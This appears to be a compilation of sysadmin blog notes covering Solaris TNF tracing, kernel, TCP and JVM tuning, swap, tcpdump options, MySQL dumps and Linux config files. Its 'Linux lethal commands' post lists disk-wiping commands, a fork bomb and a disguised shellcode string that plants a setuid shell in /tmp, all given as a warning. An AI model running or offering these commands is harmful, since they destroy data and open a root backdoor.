Step 3: Generate .h file

Step 2 will result in an object called probedObject.class. Use this class to generate the .h file using JNI as follows:

#javah -jni probedObject

Step 4: Write the C routine javaProbe.c

#include <jni.h>
#include "probedObject.h"
#include <tnf/probe.h>

JNIEXPORT void JNICALL Java_probedObject_objectCreateStart(JNIEnv *env,
                                                           jobject obj){
  TNF_PROBE_0(object_create_start, "object creation", "");
}

JNIEXPORT void JNICALL Java_probedObject_objectCreateEnd(JNIEnv *env,
                                                         jobject obj){
  TNF_PROBE_0(object_create_end, "object creation", "");
}

Step 5: Generate the shared library

#cc -G -I/usr/java/include -I/usr/java/include/solaris javaProbe.c -o libjavaProbe.so

Step 6: Run the program under prex.

Please note that prex has a circular buffer as mentioned in the man pages for prex. Use the -o and -s options for prex, as needed.

 darwin 69 =>prex java Main
Target process stopped
Type "continue" to resume the target, "help" for help ...
prex> enable $all
prex> continue
Target process exec'd

Step 7: Use the tnfdump on the output trace file to get the ASCII output, or use the tnfmerge to merge trace files. For information of TNF (Trace Normal Form) TNF, including TNFView and tnfmerge, refer to Performance Profiling Using TNF.

JVMPI

The JVMPI (Java Virtual Machine Profiler Interface) is a two-way function call interface between the Java virtual machine and an in-process profiler agent. On one hand, the virtual machine notifies the profiler agent of various events, corresponding to, for example, heap allocation, thread start, etc. On the other hand, the profiler agent issues controls and requests for more information through the JVMPI. For example, the profiler agent can turn on/off a specific event notification based on the needs of the profiler front-end. A detailed overview of JVMPI can be found at Java Virtual Machine Profiler Interface (JVMPI).

Commercial Profiling Tools

Commercial and public source profiling tools are mentioned here. All of them use the JVMPI.

Tuning Parameters

Solaris 8 Tuning Parameters

Below are the Solaris 8 and JVM tuning parameters found to work best with server-side Java applications. The tuning parameters are listed with a brief description. A more in-depth look at when to use these parameters is discussed in the Analysis Tools and Tuning Process sections.

/etc/system

The table below is a list of /etc/system tuning parameters used during the performance study. The changes are applied by appending each to the /etc/system file and rebooting the system.

/etc/system Option Description
set rlim_fd_max=8192 “Hard” limit on file descriptors that a single process might have open. To override this limit requires superuser privilege.
set tcp:tcp_conn_hash_size=8192 Controls the hash table size in the TCP module for all TCP connections.
set autoup=900 Along with tune_t_flushr, autoup controls the amount of memory examined for dirty pages in each invocation and frequency of file system sync operations.

The value of autoup is also used to control whether a buffer is written out from the free list. Buffers marked with the B_DELWRI flag (file content pages that have changed) are written out whenever the buffer has been on the list for longer than autoup seconds.

Increasing the value of autoup keeps the buffers around for a longer time in memory.

set tune_t_fsflushr=1 Specifies the number of seconds between fsflush invocations.
set rechoose_interval=150 Number of clock ticks before a process is deemed to have lost all affinity for the last CPU it ran on. After this interval expires, any CPU is considered a candidate for scheduling a thread. This parameter is relevant only for threads in the timesharing class. Real-time threads are scheduled on the first available CPU.

A description of all /etc/system parameters can be found in the Solaris Tunable Parameters Reference Manual.

/etc/rc2.d/S69inet

Below is a list of TCP kernel tuning parameters. These are known TCP tuning parameters for high throughput Java servers. The parameters can be applied by executing each line individually with root privileges, or appending each to the /etc/rc2.d/S69inet file and rebooting the system.

A detailed description of each of these parameters can be found in the Solaris TunableË Parameters Reference Manual.

/etc/rc2.d/S69inet Option Description
ndd -set /dev/tcp tcp_xmit_hiwat 65535
ndd -set /dev/tcp tcp_recv_hiwat 65535
The default send window size in bytes.
The default receive window size in bytes.
ndd -set /dev/tcp tcp_cwnd_max 65535 The maximum value of TCP congestion window (cwnd) in bytes.
ndd -set /dev/tcp tcp_rexmit_interval_min 3000 The default minimum retransmission timeout (RTO) value in milliseconds. The calculated RTO for all TCP connections cannot be lower than this value.
ndd -set /dev/tcp tcp_rexmit_interval_max 10000 The default maximum retransmission timeout value (RTO) in milliseconds. The calculated RTO for all TCP connections cannot exceed this value.
ndd -set /dev/tcp tcp_rexmit_interval_initial 3000 The default initial retransmission timeout value (RTO) in milliseconds.
ndd -set /dev/tcp tcp_time_wait_interval 60000 The time in milliseconds a TCP connection stays in TIME-WAIT state. Refer to RFC 1122, 4.2.2.13 for more information.
ndd -set /dev/tcp tcp_keepalive_interval 900000 The time in milliseconds a TCP connection stays in KEEP-ALIVE state. Refer to RFC 1122, 4.2.2.13 for more information.
ndd -set /dev/tcp tcp_conn_req_max_q 1024 The default maximum number of pending TCP connections for a TCP listener waiting to be accepted by accept(SOCKET).
ndd -set /dev/tcp tcp_conn_req_max_q0 4096 The default maximum number of incomplete (three-way handshake not yet finished) pending TCP connections for a TCP listener.

Refer to RFC 793 for more information on TCP three-way handshake.

ndd -set /dev/tcp tcp_ip_abort_interval 60000 The default total retransmission timeout value for a TCP connection in milliseconds. For a given TCP connection, if TCP has been re-transmitting for tcp_ip_abort_interval period and it has not received any acknowledgment from the other endpoint during this period, TCP closes this connection.
ndd -set /dev/tcp tcp_smallest_anon_port 1024 The default port number where anonymous port allocation is allowed (default: ?).

Java Application Tuning Parameters

Brief suggestions for basic Java server applications are listed below.

Number of Execution Threads

A general rule for thread count is to use as few threads as possible. The JVM performs best with the fewest busy threads. A good starting point for thread count can be found with the following equations.

(Number of Java Execution Threads) = Number of Transactions / Time(in seconds)

or

(Number of Execution Threads)=Throughput(transactions/sec)

It is important to remember that these equations give a good starting point for thread count tuning, not the best value for thread count for your application. The number of execution Threads can greatly influence performance; therefore, the proper sizing of this value is very important.

Number of Database Connections

The number of database connections, commonly known as a connection or resource pool, is closely tied to the number of execution threads. A rule of thumb is to match the number of database connections to the number of execute threads. This is a good starting point for finding the correct number of database connections. Over-configuring this value could cause unnecessary overhead to the database, while under-configuring could tie up all execution threads waiting on database I/O.

(Number of Database Connections) = (Number of Execution Threads)

Software Caches

Many server-side Java applications implement some type of software cache, commonly for JDBC result sets, or commonly generated, dynamic pages. Software caches are the most likely part of an application to cause unnecessary garbage collection overhead resulting from the software cache architecture and the replacement policy of the cache.

Most middle tier applications will have some sort of caching. These caches should be studied with GC in mind to see if they result in greater GC. Choose the architecture and replacement strategy that has lower GC. Careful implementation of caches with garbage collection in mind greatly improves performance simply by limiting garbage.

Java Virtual Machine Tuning Parameters

Below are a few Java Virtual Machine Tuning Parameters that have been found to improve performance. There are many more tuning parameters; the following are examples of what has worked for us. A detailed list of all tuning parameters can be found Java HotSpot VM Options.

Java VM Option Description
-XX:+UseLWPSynchronization Use LWP-based instead of thread based synchronization (SPARC only).
-XX:SurvivorRatio=40 Ratio of eden/survivor space size [Solaris: 64, Linux/Windows: 8].
-XX:NewSize=128m
-XX:MaxNewSize=128m
Disable young generation resizing. To do this on Hotspot, simply the size of the young generation to a constant.
-Xms=512m
-Xmx=512m
Overall size of Heap.

.

REF : http://developers.sun.com/solaris/articles/performance_tools.html

swap memory utilization help

allocated

The total amount of swap space in bytes currently
allocated for use as backing store.

reserved

The total amount of swap space in bytes not
currently allocated, but claimed by memory mappings
for possible future use.

used

The total amount of swap space in bytes that is
either allocated or reserved.

available

The total swap space in bytes that is currently
available for future reservation and allocation.

The used plus available figures equals total swap space on the system, which includes a portion of physical memory and swap devices (or files).

You can use the amount of swap space available and used (in the swap -s output) as a way to monitor swap space usage over time. If a system’s performance is good, use swap -s to see how much swap space is available. When the performance of a system slows down, check the amount of swap space available to see if it has decreased. Then you can identify what changes to the system might have caused swap space usage to increase.

Keep in mind when using this command that the amount of physical memory available for swap usage changes dynamically as the kernel and user processes lock down and release physical memory.

The swap -l command displays swap space in 512-byte blocks and the swap -s command displays swap space in 1024-byte blocks. If you add up the blocks from swap -l and convert them to Kbytes, it will be less than used + available (in the swap -s output) because swap -l does not include physical memory in its calculation of swap space.

Linux lethal commands

In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

  • sudo rm -rf /
  • rm -rf .*
  • dd if=/dev/zero of=/dev/sda
  • mkfs.ext3 /dev/hda
  • whatever > /dev/hda
  • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
  • find -type f -mtime +30 -exec mv {} /dev/null ;
  • mv ~ /dev/null
  • mv / /dev/null

2. Causes kernel panic or freezes Linux box:

  • dd if=/dev/random of=/dev/port
  • :(){:|:&};: #also known as fork bomb

3. This one does the same as “rm -rf /”:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.

TCPDUMP

Command Line Options

-A Print frame payload in ASCII
-c <count> Exit after capturing count packets
-D List available interfaces
-e Print link-level headers
-F <file> Use file as the filter expression
-G <n> Rotate the dump file every n seconds
-i <iface> Specifies the capture interface
-K Don’t verify TCP checksums
-L List data link types for the interface
-n Don’t convert addresses to names
-p Don’t capture in promiscuous mode
-q Quick output
-r <file> Read packets from file
-s <len> Capture up to len bytes per packet
-S Print absolute TCP sequence numbers
-t Don’t print timestamps
-v[v[v]] Print more verbose output
-w <file> Write captured packets to file
-x Print frame payload in hex
-X Print frame payload in hex and ASCII
-y <type> Specify the data link type
-Z <user> Drop privileges from root to user

Capture Filter Primitives

[src|dst] host <host> Matches a host as the IP source, destination, or either
ether [src|dst] host <ehost> Matches a host as the Ethernet source, destination, or either
gateway host <host> Matches packets which used host as a gateway
[src|dst] net <network>/<len> Matches packets to or from an endpoint residing in network
[tcp|udp] [src|dst] port <port> Matches TCP or UDP packets sent to/from port
[tcp|udp] [src|dst] portrange <p1>-<p2> Matches TCP or UDP packets to/from a port in the given range
less <length> Matches packets less than or equal to length
greater <length> Matches packets greater than or equal to length
(ether|ip|ip6) proto <protocol> Matches an Ethernet, IPv4, or IPv6 protocol
(ether|ip) broadcast Matches Ethernet or IPv4 broadcasts
(ether|ip|ip6) multicast Matches Ethernet, IPv4, or IPv6 multicasts
type (mgt|ctl|data) [subtype <subtype>] Matches 802.11 frames based on type and optional subtype
vlan [<vlan>] Matches 802.1Q frames, optionally with a VLAN ID of vlan
mpls [<label>] Matches MPLS packets, optionally with a label of label
<expr> <relop> <expr> Matches packets by an arbitrary expression

Protocols

ether
fddi
icmp

ip

ip6

link
ppp
radio

rarp

slip
tcp
tr
udp
wlan

TCP Flags

tcp-urg tcp-rst
tcp-ack tcp-syn
tcp-psh tcp-fin

Modifiers

! or not
&& or and
|| or or

Examples

udp dst port not 53
host 10.0.0.1 && host 10.0.0.2
tcp dst port 80 or 8080
UDP not bound for port 53
Traffic between these hosts
Packets to either TCP port

ICMP Types

icmp-echoreply icmp-routeradvert icmp-tstampreply
icmp-unreach icmp-routersolicit icmp-ireq
icmp-sourcequench icmp-timxceed icmp-ireqreply
icmp-redirect icmp-paramprob icmp-maskreq
icmp-echo icmp-tstamp icmp-maskreply

important mysql command, backup, dump restore

Connest to mysql server

mysql -u USERNAME -h ‘HOST_IP’ -p

enter password – here

mysql> show databases;

mysql> use DATABASE_NAME;

mysql> your query here. 🙂

Dumping a mySQL to a sql file

mysqldump -l --opt databasename > /root/file/location/filename.sql  -u user --password=whateverthepass 

Importing mySQL dump file

mysql databasename < /root/file/location/filename.sql -u user --password=whateverthepass 

Copying Entire Folder of Files

cp - Ru /root/file/location/* /where/it/should/go --reply=yes 

Making a tgz archive of an entire folder for FTP export

tar zcf localfolder.tgz localfolder/ 

Copying an entire folder to another server

tar zcf - localfolder/  | ssh 192.1.1.1 "cd folder/to/copy/to; tar zpxvf -" 

If you want to extract one file from the .tar.gz file use

gzip -dc file.tar.gz | tar xf - pathname/filename
The pathname and filename should be exactly as given in the .tar.gz file. If you want more than one file append their names, again include pathname, at the end of the command. 

Configuration files and what they do

/etc/profile System wide environment variables for
all users.
/etc/fstab List of devices and their associated mount
points. Edit this file to add cdroms, DOS
partitions and floppy drives at startup.
/etc/motd Message of the day broadcast to all users
at login.
etc/rc.d/rc.local Bash script that is executed at the end of
login process. Similar to autoexec.bat in
DOS.
/etc/HOSTNAME Conatins full hostname including domain.
/etc/cron.* There are 4 directories that automatically
execute all scripts within the directory at
intervals of hour, day, week or month.
/etc/hosts A list of all know host names and IP
addresses on the machine.
/etc/httpd/conf Paramters for the Apache web server
/etc/inittab Specifies the run level that the machine
should boot into.
/etc/resolv.conf Defines IP addresses of DNS servers.
/etc/smb.conf Config file for the SAMBA server. Allows
file and print sharing with Microsoft
clients.
/etc/X11/XF86Confi
g
Config file for X-Windows.
~/.xinitrc Defines the windows manager loaded by
X. ~ refers to user’s home directory.

Installing software for Linux

rpm -ihv name.rpm Install the rpm package called name
rpm -Uhv name.rpm Upgrade the rpm package called
name
rpm -e package Delete the rpm package called
package
rpm -l package List the files in the package called
package
rpm -ql package List the files and state the installed
version of the package called
package
rpm -i –force package Reinstall the rpm package called
name having deleted parts of it (not
deleting using rpm -e)
tar -zxvf archive.tar.gz or
tar -zxvf archive.tgz
Decompress the files contained in
the zipped and tarred archive called
archive
./configure Execute the script preparing the
installed files for compiling